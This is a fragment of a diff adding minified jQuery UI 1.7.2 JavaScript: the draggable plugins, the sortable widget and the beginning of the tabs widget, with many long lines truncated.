+po={top:0,left:0};return{top:po.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:po.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)};},_getRelativeOffset:function(){if(this.cssPosition=="relative"){var p=this.element.position();return{top:p.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:p.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()};}else{return{top:0,left:0};}},_cacheMargins:function(){t [...]
++this.offset.relative.top*mod
++this.offset.parent.top*mod
+-($.browser.safari&&this.cssPosition=='fixed'?0:(this.cssPosition=='fixed'?-this.scrollParent.scrollTop():(scrollIsRootNode?0:scroll.scrollTop()))*mod)),left:(pos.left
++this.offset.relative.left*mod
++this.offset.parent.left*mod
+-($.browser.safari&&this.cssPosition=='fixed'?0:(this.cssPosition=='fixed'?-this.scrollParent.scrollLeft():scrollIsRootNode?0:scroll.scrollLeft())*mod))};},_generatePosition:function(event){var o=this.options,scroll=this.cssPosition=='absolute'&&!(this.scrollParent[0]!=document&&$.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,scrollIsRootNode=(/(html|body)/i).test(scroll[0].tagName);if(this.cssPosition=='relative'&&!(this.scrollParent[0]!=doc [...]
+var pageX=event.pageX;var pageY=event.pageY;if(this.originalPosition){if(this.containment){if(event.pageX-this.offset.click.left<this.containment[0])pageX=this.containment[0]+this.offset.click.left;if(event.pageY-this.offset.click.top<this.containment[1])pageY=this.containment[1]+this.offset.click.top;if(event.pageX-this.offset.click.left>this.containment[2])pageX=this.containment[2]+this.offset.click.left;if(event.pageY-this.offset.click.top>this.containment[3])pageY=this.containment[3] [...]
+if(o.grid){var top=this.originalPageY+Math.round((pageY-this.originalPageY)/o.grid[1])*o.grid[1];pageY=this.containment?(!(top-this.offset.click.top<this.containment[1]||top-this.offset.click.top>this.containment[3])?top:(!(top-this.offset.click.top<this.containment[1])?top-o.grid[1]:top+o.grid[1])):top;var left=this.originalPageX+Math.round((pageX-this.originalPageX)/o.grid[0])*o.grid[0];pageX=this.containment?(!(left-this.offset.click.left<this.containment[0]||left-this.offset.click.le [...]
+return{top:(pageY
+-this.offset.click.top
+-this.offset.relative.top
+-this.offset.parent.top
++($.browser.safari&&this.cssPosition=='fixed'?0:(this.cssPosition=='fixed'?-this.scrollParent.scrollTop():(scrollIsRootNode?0:scroll.scrollTop())))),left:(pageX
+-this.offset.click.left
+-this.offset.relative.left
+-this.offset.parent.left
++($.browser.safari&&this.cssPosition=='fixed'?0:(this.cssPosition=='fixed'?-this.scrollParent.scrollLeft():scrollIsRootNode?0:scroll.scrollLeft())))};},_clear:function(){this.helper.removeClass("ui-draggable-dragging");if(this.helper[0]!=this.element[0]&&!this.cancelHelperRemoval)this.helper.remove();this.helper=null;this.cancelHelperRemoval=false;},_trigger:function(type,event,ui){ui=ui||this._uiHash();$.ui.plugin.call(this,type,[event,ui]);if(type=="drag")this.positionAbs=this._convert [...]
+this.instance.currentItem.css({top:'auto',left:'auto'});}else{this.instance.cancelHelperRemoval=false;this.instance._trigger("deactivate",event,uiSortable);}});},drag:function(event,ui){var inst=$(this).data("draggable"),self=this;var checkPos=function(o){var dyClick=this.offset.click.top,dxClick=this.offset.click.left;var helperTop=this.positionAbs.top,helperLeft=this.positionAbs.left;var itemHeight=o.height,itemWidth=o.width;var itemTop=o.top,itemLeft=o.left;return $.ui.isOver(helperTo [...]
+if(this.instance.currentItem)this.instance._mouseDrag(event);}else{if(this.instance.isOver){this.instance.isOver=0;this.instance.cancelHelperRemoval=true;this.instance.options.revert=false;this.instance._trigger('out',event,this.instance._uiHash(this.instance));this.instance._mouseStop(event,true);this.instance.options.helper=this.instance.options._helper;this.instance.currentItem.remove();if(this.instance.placeholder)this.instance.placeholder.remove();inst._trigger("fromSortable",event) [...]
+.css({width:this.offsetWidth+"px",height:this.offsetHeight+"px",position:"absolute",opacity:"0.001",zIndex:1000})
+.css($(this).offset())
+.appendTo("body");});},stop:function(event,ui){$("div.ui-draggable-iframeFix").each(function(){this.parentNode.removeChild(this);});}});$.ui.plugin.add("draggable","opacity",{start:function(event,ui){var t=$(ui.helper),o=$(this).data('draggable').options;if(t.css("opacity"))o._opacity=t.css("opacity");t.css('opacity',o.opacity);},stop:function(event,ui){var o=$(this).data('draggable').options;if(o._opacity)$(ui.helper).css('opacity',o._opacity);}});$.ui.plugin.add("draggable","scroll",{s [...]
+i.scrollParent[0].scrollTop=scrolled=i.scrollParent[0].scrollTop+o.scrollSpeed;else if(event.pageY-i.overflowOffset.top<o.scrollSensitivity)
+i.scrollParent[0].scrollTop=scrolled=i.scrollParent[0].scrollTop-o.scrollSpeed;}
+if(!o.axis||o.axis!='y'){if((i.overflowOffset.left+i.scrollParent[0].offsetWidth)-event.pageX<o.scrollSensitivity)
+i.scrollParent[0].scrollLeft=scrolled=i.scrollParent[0].scrollLeft+o.scrollSpeed;else if(event.pageX-i.overflowOffset.left<o.scrollSensitivity)
+i.scrollParent[0].scrollLeft=scrolled=i.scrollParent[0].scrollLeft-o.scrollSpeed;}}else{if(!o.axis||o.axis!='x'){if(event.pageY-$(document).scrollTop()<o.scrollSensitivity)
+scrolled=$(document).scrollTop($(document).scrollTop()-o.scrollSpeed);else if($(window).height()-(event.pageY-$(document).scrollTop())<o.scrollSensitivity)
+scrolled=$(document).scrollTop($(document).scrollTop()+o.scrollSpeed);}
+if(!o.axis||o.axis!='y'){if(event.pageX-$(document).scrollLeft()<o.scrollSensitivity)
+scrolled=$(document).scrollLeft($(document).scrollLeft()-o.scrollSpeed);else if($(window).width()-(event.pageX-$(document).scrollLeft())<o.scrollSensitivity)
+scrolled=$(document).scrollLeft($(document).scrollLeft()+o.scrollSpeed);}}
+if(scrolled!==false&&$.ui.ddmanager&&!o.dropBehaviour)
+$.ui.ddmanager.prepareOffsets(i,event);}});$.ui.plugin.add("draggable","snap",{start:function(event,ui){var i=$(this).data("draggable"),o=i.options;i.snapElements=[];$(o.snap.constructor!=String?(o.snap.items||':data(draggable)'):o.snap).each(function(){var $t=$(this);var $o=$t.offset();if(this!=i.element[0])i.snapElements.push({item:this,width:$t.outerWidth(),height:$t.outerHeight(),top:$o.top,left:$o.left});});},drag:function(event,ui){var inst=$(this).data("draggable"),o=inst.options; [...]
+if(o.snapMode!='inner'){var ts=Math.abs(t-y2)<=d;var bs=Math.abs(b-y1)<=d;var ls=Math.abs(l-x2)<=d;var rs=Math.abs(r-x1)<=d;if(ts)ui.position.top=inst._convertPositionTo("relative",{top:t-inst.helperProportions.height,left:0}).top-inst.margins.top;if(bs)ui.position.top=inst._convertPositionTo("relative",{top:b,left:0}).top-inst.margins.top;if(ls)ui.position.left=inst._convertPositionTo("relative",{top:0,left:l-inst.helperProportions.width}).left-inst.margins.left;if(rs)ui.position.left=i [...]
+var first=(ts||bs||ls||rs);if(o.snapMode!='outer'){var ts=Math.abs(t-y1)<=d;var bs=Math.abs(b-y2)<=d;var ls=Math.abs(l-x1)<=d;var rs=Math.abs(r-x2)<=d;if(ts)ui.position.top=inst._convertPositionTo("relative",{top:t,left:0}).top-inst.margins.top;if(bs)ui.position.top=inst._convertPositionTo("relative",{top:b-inst.helperProportions.height,left:0}).top-inst.margins.top;if(ls)ui.position.left=inst._convertPositionTo("relative",{top:0,left:l}).left-inst.margins.left;if(rs)ui.position.left=ins [...]
+if(!inst.snapElements[i].snapping&&(ts||bs||ls||rs||first))
+(inst.options.snap.snap&&inst.options.snap.snap.call(inst.element,event,$.extend(inst._uiHash(),{snapItem:inst.snapElements[i].item})));inst.snapElements[i].snapping=(ts||bs||ls||rs||first);};}});$.ui.plugin.add("draggable","stack",{start:function(event,ui){var o=$(this).data("draggable").options;var group=$.makeArray($(o.stack.group)).sort(function(a,b){return(parseInt($(a).css("zIndex"),10)||o.stack.min)-(parseInt($(b).css("zIndex"),10)||o.stack.min);});$(group).each(function(i){this.s [...]
+.removeClass("ui-sortable ui-sortable-disabled")
+.removeData("sortable")
+.unbind(".sortable");this._mouseDestroy();for(var i=this.items.length-1;i>=0;i--)
+this.items[i].item.removeData("sortable-item");},_mouseCapture:function(event,overrideHandle){if(this.reverting){return false;}
+if(this.options.disabled||this.options.type=='static')return false;this._refreshItems(event);var currentItem=null,self=this,nodes=$(event.target).parents().each(function(){if($.data(this,'sortable-item')==self){currentItem=$(this);return false;}});if($.data(event.target,'sortable-item')==self)currentItem=$(event.target);if(!currentItem)return false;if(this.options.handle&&!overrideHandle){var validHandle=false;$(this.options.handle,currentItem).find("*").andSelf().each(function(){if(this [...]
+this.currentItem=currentItem;this._removeCurrentsFromItems();return true;},_mouseStart:function(event,overrideHandle,noActivation){var o=this.options,self=this;this.currentContainer=this;this.refreshPositions();this.helper=this._createHelper(event);this._cacheHelperProportions();this._cacheMargins();this.scrollParent=this.helper.scrollParent();this.offset=this.currentItem.offset();this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left};this.helper.css(" [...]
+this._adjustOffsetFromHelper(o.cursorAt);this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]};if(this.helper[0]!=this.currentItem[0]){this.currentItem.hide();}
+this._createPlaceholder();if(o.containment)
+this._setContainment();if(o.cursor){if($('body').css("cursor"))this._storedCursor=$('body').css("cursor");$('body').css("cursor",o.cursor);}
+if(o.opacity){if(this.helper.css("opacity"))this._storedOpacity=this.helper.css("opacity");this.helper.css("opacity",o.opacity);}
+if(o.zIndex){if(this.helper.css("zIndex"))this._storedZIndex=this.helper.css("zIndex");this.helper.css("zIndex",o.zIndex);}
+if(this.scrollParent[0]!=document&&this.scrollParent[0].tagName!='HTML')
+this.overflowOffset=this.scrollParent.offset();this._trigger("start",event,this._uiHash());if(!this._preserveHelperProportions)
+this._cacheHelperProportions();if(!noActivation){for(var i=this.containers.length-1;i>=0;i--){this.containers[i]._trigger("activate",event,self._uiHash(this));}}
+if($.ui.ddmanager)
+$.ui.ddmanager.current=this;if($.ui.ddmanager&&!o.dropBehaviour)
+$.ui.ddmanager.prepareOffsets(this,event);this.dragging=true;this.helper.addClass("ui-sortable-helper");this._mouseDrag(event);return true;},_mouseDrag:function(event){this.position=this._generatePosition(event);this.positionAbs=this._convertPositionTo("absolute");if(!this.lastPositionAbs){this.lastPositionAbs=this.positionAbs;}
+if(this.options.scroll){var o=this.options,scrolled=false;if(this.scrollParent[0]!=document&&this.scrollParent[0].tagName!='HTML'){if((this.overflowOffset.top+this.scrollParent[0].offsetHeight)-event.pageY<o.scrollSensitivity)
+this.scrollParent[0].scrollTop=scrolled=this.scrollParent[0].scrollTop+o.scrollSpeed;else if(event.pageY-this.overflowOffset.top<o.scrollSensitivity)
+this.scrollParent[0].scrollTop=scrolled=this.scrollParent[0].scrollTop-o.scrollSpeed;if((this.overflowOffset.left+this.scrollParent[0].offsetWidth)-event.pageX<o.scrollSensitivity)
+this.scrollParent[0].scrollLeft=scrolled=this.scrollParent[0].scrollLeft+o.scrollSpeed;else if(event.pageX-this.overflowOffset.left<o.scrollSensitivity)
+this.scrollParent[0].scrollLeft=scrolled=this.scrollParent[0].scrollLeft-o.scrollSpeed;}else{if(event.pageY-$(document).scrollTop()<o.scrollSensitivity)
+scrolled=$(document).scrollTop($(document).scrollTop()-o.scrollSpeed);else if($(window).height()-(event.pageY-$(document).scrollTop())<o.scrollSensitivity)
+scrolled=$(document).scrollTop($(document).scrollTop()+o.scrollSpeed);if(event.pageX-$(document).scrollLeft()<o.scrollSensitivity)
+scrolled=$(document).scrollLeft($(document).scrollLeft()-o.scrollSpeed);else if($(window).width()-(event.pageX-$(document).scrollLeft())<o.scrollSensitivity)
+scrolled=$(document).scrollLeft($(document).scrollLeft()+o.scrollSpeed);}
+if(scrolled!==false&&$.ui.ddmanager&&!o.dropBehaviour)
+$.ui.ddmanager.prepareOffsets(this,event);}
+this.positionAbs=this._convertPositionTo("absolute");if(!this.options.axis||this.options.axis!="y")this.helper[0].style.left=this.position.left+'px';if(!this.options.axis||this.options.axis!="x")this.helper[0].style.top=this.position.top+'px';for(var i=this.items.length-1;i>=0;i--){var item=this.items[i],itemElement=item.item[0],intersection=this._intersectsWithPointer(item);if(!intersection)continue;if(itemElement!=this.currentItem[0]&&this.placeholder[intersection==1?"next":"prev"]()[0 [...]
+this._trigger("change",event,this._uiHash());break;}}
+this._contactContainers(event);if($.ui.ddmanager)$.ui.ddmanager.drag(this,event);this._trigger('sort',event,this._uiHash());this.lastPositionAbs=this.positionAbs;return false;},_mouseStop:function(event,noPropagation){if(!event)return;if($.ui.ddmanager&&!this.options.dropBehaviour)
+$.ui.ddmanager.drop(this,event);if(this.options.revert){var self=this;var cur=self.placeholder.offset();self.reverting=true;$(this.helper).animate({left:cur.left-this.offset.parent.left-self.margins.left+(this.offsetParent[0]==document.body?0:this.offsetParent[0].scrollLeft),top:cur.top-this.offset.parent.top-self.margins.top+(this.offsetParent[0]==document.body?0:this.offsetParent[0].scrollTop)},parseInt(this.options.revert,10)||500,function(){self._clear(event);});}else{this._clear(eve [...]
+return false;},cancel:function(){var self=this;if(this.dragging){this._mouseUp();if(this.options.helper=="original")
+this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper");else
+this.currentItem.show();for(var i=this.containers.length-1;i>=0;i--){this.containers[i]._trigger("deactivate",null,self._uiHash(this));if(this.containers[i].containerCache.over){this.containers[i]._trigger("out",null,self._uiHash(this));this.containers[i].containerCache.over=0;}}}
+if(this.placeholder[0].parentNode)this.placeholder[0].parentNode.removeChild(this.placeholder[0]);if(this.options.helper!="original"&&this.helper&&this.helper[0].parentNode)this.helper.remove();$.extend(this,{helper:null,dragging:false,reverting:false,_noFinalSort:null});if(this.domPosition.prev){$(this.domPosition.prev).after(this.currentItem);}else{$(this.domPosition.parent).prepend(this.currentItem);}
+return true;},serialize:function(o){var items=this._getItemsAsjQuery(o&&o.connected);var str=[];o=o||{};$(items).each(function(){var res=($(o.item||this).attr(o.attribute||'id')||'').match(o.expression||(/(.+)[-=_](.+)/));if(res)str.push((o.key||res[1]+'[]')+'='+(o.key&&o.expression?res[1]:res[2]));});return str.join('&');},toArray:function(o){var items=this._getItemsAsjQuery(o&&o.connected);var ret=[];o=o||{};items.each(function(){ret.push($(o.item||this).attr(o.attribute||'id')||'');}) [...]
+return false;return this.floating?(((horizontalDirection&&horizontalDirection=="right")||verticalDirection=="down")?2:1):(verticalDirection&&(verticalDirection=="down"?2:1));},_intersectsWithSides:function(item){var isOverBottomHalf=$.ui.isOverAxis(this.positionAbs.top+this.offset.click.top,item.top+(item.height/2),item.height),isOverRightHalf=$.ui.isOverAxis(this.positionAbs.left+this.offset.click.left,item.left+(item.width/2),item.width),verticalDirection=this._getDragVerticalDirection [...]
+queries.push([$.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):$(this.options.items,this.element).not(".ui-sortable-helper"),this]);for(var i=queries.length-1;i>=0;i--){queries[i][0].each(function(){items.push(this);});};return $(items);},_removeCurrentsFromItems:function(){var list=this.currentItem.find(":data(sortable-item)");for(var i=0;i<this.items.length;i++){for(var j=0;j<list.length;j++){if(list[j]==this.items [...]
+this.items.splice(i,1);};};},_refreshItems:function(event){this.items=[];this.containers=[this];var items=this.items;var self=this;var queries=[[$.isFunction(this.options.items)?this.options.items.call(this.element[0],event,{item:this.currentItem}):$(this.options.items,this.element),this]];var connectWith=this._connectWith();if(connectWith){for(var i=connectWith.length-1;i>=0;i--){var cur=$(connectWith[i]);for(var j=cur.length-1;j>=0;j--){var inst=$.data(cur[j],'sortable');if(inst&&inst! [...]
+for(var i=queries.length-1;i>=0;i--){var targetData=queries[i][1];var _queries=queries[i][0];for(var j=0,queriesLength=_queries.length;j<queriesLength;j++){var item=$(_queries[j]);item.data('sortable-item',targetData);items.push({item:item,instance:targetData,width:0,height:0,left:0,top:0});};};},refreshPositions:function(fast){if(this.offsetParent&&this.helper){this.offset.parent=this._getParentOffset();}
+for(var i=this.items.length-1;i>=0;i--){var item=this.items[i];if(item.instance!=this.currentContainer&&this.currentContainer&&item.item[0]!=this.currentItem[0])
+continue;var t=this.options.toleranceElement?$(this.options.toleranceElement,item.item):item.item;if(!fast){item.width=t.outerWidth();item.height=t.outerHeight();}
+var p=t.offset();item.left=p.left;item.top=p.top;};if(this.options.custom&&this.options.custom.refreshContainers){this.options.custom.refreshContainers.call(this);}else{for(var i=this.containers.length-1;i>=0;i--){var p=this.containers[i].element.offset();this.containers[i].containerCache.left=p.left;this.containers[i].containerCache.top=p.top;this.containers[i].containerCache.width=this.containers[i].element.outerWidth();this.containers[i].containerCache.height=this.containers[i].elemen [...]
+.addClass(className||self.currentItem[0].className+" ui-sortable-placeholder")
+.removeClass("ui-sortable-helper")[0];if(!className)
+el.style.visibility="hidden";return el;},update:function(container,p){if(className&&!o.forcePlaceholderSize)return;if(!p.height()){p.height(self.currentItem.innerHeight()-parseInt(self.currentItem.css('paddingTop')||0,10)-parseInt(self.currentItem.css('paddingBottom')||0,10));};if(!p.width()){p.width(self.currentItem.innerWidth()-parseInt(self.currentItem.css('paddingLeft')||0,10)-parseInt(self.currentItem.css('paddingRight')||0,10));};}};}
+self.placeholder=$(o.placeholder.element.call(self.element,self.currentItem));self.currentItem.after(self.placeholder);o.placeholder.update(self,self.placeholder);},_contactContainers:function(event){for(var i=this.containers.length-1;i>=0;i--){if(this._intersectsWith(this.containers[i].containerCache)){if(!this.containers[i].containerCache.over){if(this.currentContainer!=this.containers[i]){var dist=10000;var itemWithLeastDistance=null;var base=this.positionAbs[this.containers[i].floati [...]
+if(!itemWithLeastDistance&&!this.options.dropOnEmpty)
+continue;this.currentContainer=this.containers[i];itemWithLeastDistance?this._rearrange(event,itemWithLeastDistance,null,true):this._rearrange(event,null,this.containers[i].element,true);this._trigger("change",event,this._uiHash());this.containers[i]._trigger("change",event,this._uiHash(this));this.options.placeholder.update(this.currentContainer,this.placeholder);}
+this.containers[i]._trigger("over",event,this._uiHash(this));this.containers[i].containerCache.over=1;}}else{if(this.containers[i].containerCache.over){this.containers[i]._trigger("out",event,this._uiHash(this));this.containers[i].containerCache.over=0;}}};},_createHelper:function(event){var o=this.options;var helper=$.isFunction(o.helper)?$(o.helper.apply(this.element[0],[event,this.currentItem])):(o.helper=='clone'?this.currentItem.clone():this.currentItem);if(!helper.parents('body').length)
+$(o.appendTo!='parent'?o.appendTo:this.currentItem[0].parentNode)[0].appendChild(helper[0]);if(helper[0]==this.currentItem[0])
+this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")};if(helper[0].style.width==''||o.forceHelperSize)helper.width(this.currentItem.width());if(helper[0].style.height==''||o.forceHelperSize)helper.height(this.currentItem.height());return helper;},_adjustOffsetFromHelper:function(obj){if(obj.left!=undefined)this.offset.click.left=obj.left+th [...]
+if((this.offsetParent[0]==document.body)||(this.offsetParent[0].tagName&&this.offsetParent[0].tagName.toLowerCase()=='html'&&$.browser.msie))
+po={top:0,left:0};return{top:po.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:po.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)};},_getRelativeOffset:function(){if(this.cssPosition=="relative"){var p=this.currentItem.position();return{top:p.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:p.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()};}else{return{top:0,left:0};}},_cacheMargins:function [...]
++this.offset.relative.top*mod
++this.offset.parent.top*mod
+-($.browser.safari&&this.cssPosition=='fixed'?0:(this.cssPosition=='fixed'?-this.scrollParent.scrollTop():(scrollIsRootNode?0:scroll.scrollTop()))*mod)),left:(pos.left
++this.offset.relative.left*mod
++this.offset.parent.left*mod
+-($.browser.safari&&this.cssPosition=='fixed'?0:(this.cssPosition=='fixed'?-this.scrollParent.scrollLeft():scrollIsRootNode?0:scroll.scrollLeft())*mod))};},_generatePosition:function(event){var o=this.options,scroll=this.cssPosition=='absolute'&&!(this.scrollParent[0]!=document&&$.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,scrollIsRootNode=(/(html|body)/i).test(scroll[0].tagName);if(this.cssPosition=='relative'&&!(this.scrollParent[0]!=doc [...]
+var pageX=event.pageX;var pageY=event.pageY;if(this.originalPosition){if(this.containment){if(event.pageX-this.offset.click.left<this.containment[0])pageX=this.containment[0]+this.offset.click.left;if(event.pageY-this.offset.click.top<this.containment[1])pageY=this.containment[1]+this.offset.click.top;if(event.pageX-this.offset.click.left>this.containment[2])pageX=this.containment[2]+this.offset.click.left;if(event.pageY-this.offset.click.top>this.containment[3])pageY=this.containment[3] [...]
+if(o.grid){var top=this.originalPageY+Math.round((pageY-this.originalPageY)/o.grid[1])*o.grid[1];pageY=this.containment?(!(top-this.offset.click.top<this.containment[1]||top-this.offset.click.top>this.containment[3])?top:(!(top-this.offset.click.top<this.containment[1])?top-o.grid[1]:top+o.grid[1])):top;var left=this.originalPageX+Math.round((pageX-this.originalPageX)/o.grid[0])*o.grid[0];pageX=this.containment?(!(left-this.offset.click.left<this.containment[0]||left-this.offset.click.le [...]
+return{top:(pageY
+-this.offset.click.top
+-this.offset.relative.top
+-this.offset.parent.top
++($.browser.safari&&this.cssPosition=='fixed'?0:(this.cssPosition=='fixed'?-this.scrollParent.scrollTop():(scrollIsRootNode?0:scroll.scrollTop())))),left:(pageX
+-this.offset.click.left
+-this.offset.relative.left
+-this.offset.parent.left
++($.browser.safari&&this.cssPosition=='fixed'?0:(this.cssPosition=='fixed'?-this.scrollParent.scrollLeft():scrollIsRootNode?0:scroll.scrollLeft())))};},_rearrange:function(event,i,a,hardRefresh){a?a[0].appendChild(this.placeholder[0]):i.item[0].parentNode.insertBefore(this.placeholder[0],(this.direction=='down'?i.item[0]:i.item[0].nextSibling));this.counter=this.counter?++this.counter:1;var self=this,counter=this.counter;window.setTimeout(function(){if(counter==self.counter)self.refreshP [...]
+this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper");}else{this.currentItem.show();}
+if(this.fromOutside&&!noPropagation)delayedTriggers.push(function(event){this._trigger("receive",event,this._uiHash(this.fromOutside));});if((this.fromOutside||this.domPosition.prev!=this.currentItem.prev().not(".ui-sortable-helper")[0]||this.domPosition.parent!=this.currentItem.parent()[0])&&!noPropagation)delayedTriggers.push(function(event){this._trigger("update",event,this._uiHash());});if(!$.ui.contains(this.element[0],this.currentItem[0])){if(!noPropagation)delayedTriggers.push(fun [...]
+if(this._storedCursor)$('body').css("cursor",this._storedCursor);if(this._storedOpacity)this.helper.css("opacity",this._storedOpacity);if(this._storedZIndex)this.helper.css("zIndex",this._storedZIndex=='auto'?'':this._storedZIndex);this.dragging=false;if(this.cancelHelperRemoval){if(!noPropagation){this._trigger("beforeStop",event,this._uiHash());for(var i=0;i<delayedTriggers.length;i++){delayedTriggers[i].call(this,event);};this._trigger("stop",event,this._uiHash());}
+return false;}
+if(!noPropagation)this._trigger("beforeStop",event,this._uiHash());this.placeholder[0].parentNode.removeChild(this.placeholder[0]);if(this.helper[0]!=this.currentItem[0])this.helper.remove();this.helper=null;if(!noPropagation){for(var i=0;i<delayedTriggers.length;i++){delayedTriggers[i].call(this,event);};this._trigger("stop",event,this._uiHash());}
+this.fromOutside=false;return true;},_trigger:function(){if($.widget.prototype._trigger.apply(this,arguments)===false){this.cancel();}},_uiHash:function(inst){var self=inst||this;return{helper:self.helper,placeholder:self.placeholder||$([]),position:self.position,absolutePosition:self.positionAbs,offset:self.positionAbs,item:self.currentItem,sender:inst?inst.element:null};}}));$.extend($.ui.sortable,{getter:"serialize toArray",version:"1.7.2",eventPrefix:"sort",defaults:{appendTo:"parent [...]
+this._tabify(true);},_setData:function(key,value){if(key=='selected'){if(this.options.collapsible&&value==this.options.selected){return;}
+this.select(value);}
+else{this.options[key]=value;if(key=='deselectable'){this.options.collapsible=value;}
+this._tabify();}},_tabId:function(a){return a.title&&a.title.replace(/\s/g,'_').replace(/[^A-Za-z0-9\-_:\.]/g,'')||this.options.idPrefix+$.data(a);},_sanitizeSelector:function(hash){return hash.replace(/:/g,'\\:');},_cookie:function(){var cookie=this.cookie||(this.cookie=this.options.cookie.name||'ui-tabs-'+$.data(this.list[0]));return $.cookie.apply(null,[cookie].concat($.makeArray(arguments)));},_ui:function(tab,panel){return{tab:tab,panel:panel,index:this.anchors.index(tab)};},_cleanu [...]
+.find('span:data(label.tabs)')
+.each(function(){var el=$(this);el.html(el.data('label.tabs')).removeData('label.tabs');});},_tabify:function(init){this.list=this.element.children('ul:first');this.lis=$('li:has(a[href])',this.list);this.anchors=this.lis.map(function(){return $('a',this)[0];});this.panels=$([]);var self=this,o=this.options;var fragmentId=/^#.+/;this.anchors.each(function(i,a){var href=$(a).attr('href');var hrefBase=href.split('#')[0],baseEl;if(hrefBase&&(hrefBase===location.toString().split('#')[0]||(ba [...]
+if(fragmentId.test(href)){self.panels=self.panels.add(self._sanitizeSelector(href));}
+else if(href!='#'){$.data(a,'href.tabs',href);$.data(a,'load.tabs',href.replace(/#.*$/,''));var id=self._tabId(a);a.href='#'+id;var $panel=$('#'+id);if(!$panel.length){$panel=$(o.panelTemplate).attr('id',id).addClass('ui-tabs-panel ui-widget-content ui-corner-bottom')
+.insertAfter(self.panels[i-1]||self.list);$panel.data('destroy.tabs',true);}
+self.panels=self.panels.add($panel);}
+else{o.disabled.push(i);}});if(init){this.element.addClass('ui-tabs ui-widget ui-widget-content ui-corner-all');this.list.addClass('ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all');this.lis.addClass('ui-state-default ui-corner-top');this.panels.addClass('ui-tabs-panel ui-widget-content ui-corner-bottom');if(o.selected===undefined){if(location.hash){this.anchors.each(function(i,a){if(a.hash==location.hash){o.selected=i;return false;}});}
+if(typeof o.selected!='number'&&o.cookie){o.selected=parseInt(self._cookie(),10);}
+if(typeof o.selected!='number'&&this.lis.filter('.ui-tabs-selected').length){o.selected=this.lis.index(this.lis.filter('.ui-tabs-selected'));}
+o.selected=o.selected||0;}
+else if(o.selected===null){o.selected=-1;}
+o.selected=((o.selected>=0&&this.anchors[o.selected])||o.selected<0)?o.selected:0;o.disabled=$.unique(o.disabled.concat($.map(this.lis.filter('.ui-state-disabled'),function(n,i){return self.lis.index(n);}))).sort();if($.inArray(o.selected,o.disabled)!=-1){o.disabled.splice($.inArray(o.selected,o.disabled),1);}
+this.panels.addClass('ui-tabs-hide');this.lis.removeClass('ui-tabs-selected ui-state-active');if(o.selected>=0&&this.anchors.length){this.panels.eq(o.selected).removeClass('ui-tabs-hide');this.lis.eq(o.selected).addClass('ui-tabs-selected ui-state-active');self.element.queue("tabs",function(){self._trigger('show',null,self._ui(self.anchors[o.selected],self.panels[o.selected]));});this.load(o.selected);}
+$(window).bind('unload',function(){self.lis.add(self.anchors).unbind('.tabs');self.lis=self.anchors=self.panels=null;});}
+else{o.selected=this.lis.index(this.lis.filter('.ui-tabs-selected'));}
+this.element[o.collapsible?'addClass':'removeClass']('ui-tabs-collapsible');if(o.cookie){this._cookie(o.selected,o.cookie);}
+for(var i=0,li;(li=this.lis[i]);i++){$(li)[$.inArray(i,o.disabled)!=-1&&!$(li).hasClass('ui-tabs-selected')?'addClass':'removeClass']('ui-state-disabled');}
+if(o.cache===false){this.anchors.removeData('cache.tabs');}
+this.lis.add(this.anchors).unbind('.tabs');if(o.event!='mouseover'){var addState=function(state,el){if(el.is(':not(.ui-state-disabled)')){el.addClass('ui-state-'+state);}};var removeState=function(state,el){el.removeClass('ui-state-'+state);};this.lis.bind('mouseover.tabs',function(){addState('hover',$(this));});this.lis.bind('mouseout.tabs',function(){removeState('hover',$(this));});this.anchors.bind('focus.tabs',function(){addState('focus',$(this).closest('li'));});this.anchors.bind('b [...]
+var hideFx,showFx;if(o.fx){if($.isArray(o.fx)){hideFx=o.fx[0];showFx=o.fx[1];}
+else{hideFx=showFx=o.fx;}}
+function resetStyle($el,fx){$el.css({display:''});if($.browser.msie&&fx.opacity){$el[0].style.removeAttribute('filter');}}
+var showTab=showFx?function(clicked,$show){$(clicked).closest('li').removeClass('ui-state-default').addClass('ui-tabs-selected ui-state-active');$show.hide().removeClass('ui-tabs-hide')
+.animate(showFx,showFx.duration||'normal',function(){resetStyle($show,showFx);self._trigger('show',null,self._ui(clicked,$show[0]));});}:function(clicked,$show){$(clicked).closest('li').removeClass('ui-state-default').addClass('ui-tabs-selected ui-state-active');$show.removeClass('ui-tabs-hide');self._trigger('show',null,self._ui(clicked,$show[0]));};var hideTab=hideFx?function(clicked,$hide){$hide.animate(hideFx,hideFx.duration||'normal',function(){self.lis.removeClass('ui-tabs-selected [...]
+o.selected=self.anchors.index(this);self.abort();if(o.collapsible){if($li.hasClass('ui-tabs-selected')){o.selected=-1;if(o.cookie){self._cookie(o.selected,o.cookie);}
+self.element.queue("tabs",function(){hideTab(el,$hide);}).dequeue("tabs");this.blur();return false;}
+else if(!$hide.length){if(o.cookie){self._cookie(o.selected,o.cookie);}
+self.element.queue("tabs",function(){showTab(el,$show);});self.load(self.anchors.index(this));this.blur();return false;}}
+if(o.cookie){self._cookie(o.selected,o.cookie);}
+if($show.length){if($hide.length){self.element.queue("tabs",function(){hideTab(el,$hide);});}
+self.element.queue("tabs",function(){showTab(el,$show);});self.load(self.anchors.index(this));}
+else{throw'jQuery UI Tabs: Mismatching fragment identifier.';}
+if($.browser.msie){this.blur();}});this.anchors.bind('click.tabs',function(){return false;});},destroy:function(){var o=this.options;this.abort();this.element.unbind('.tabs')
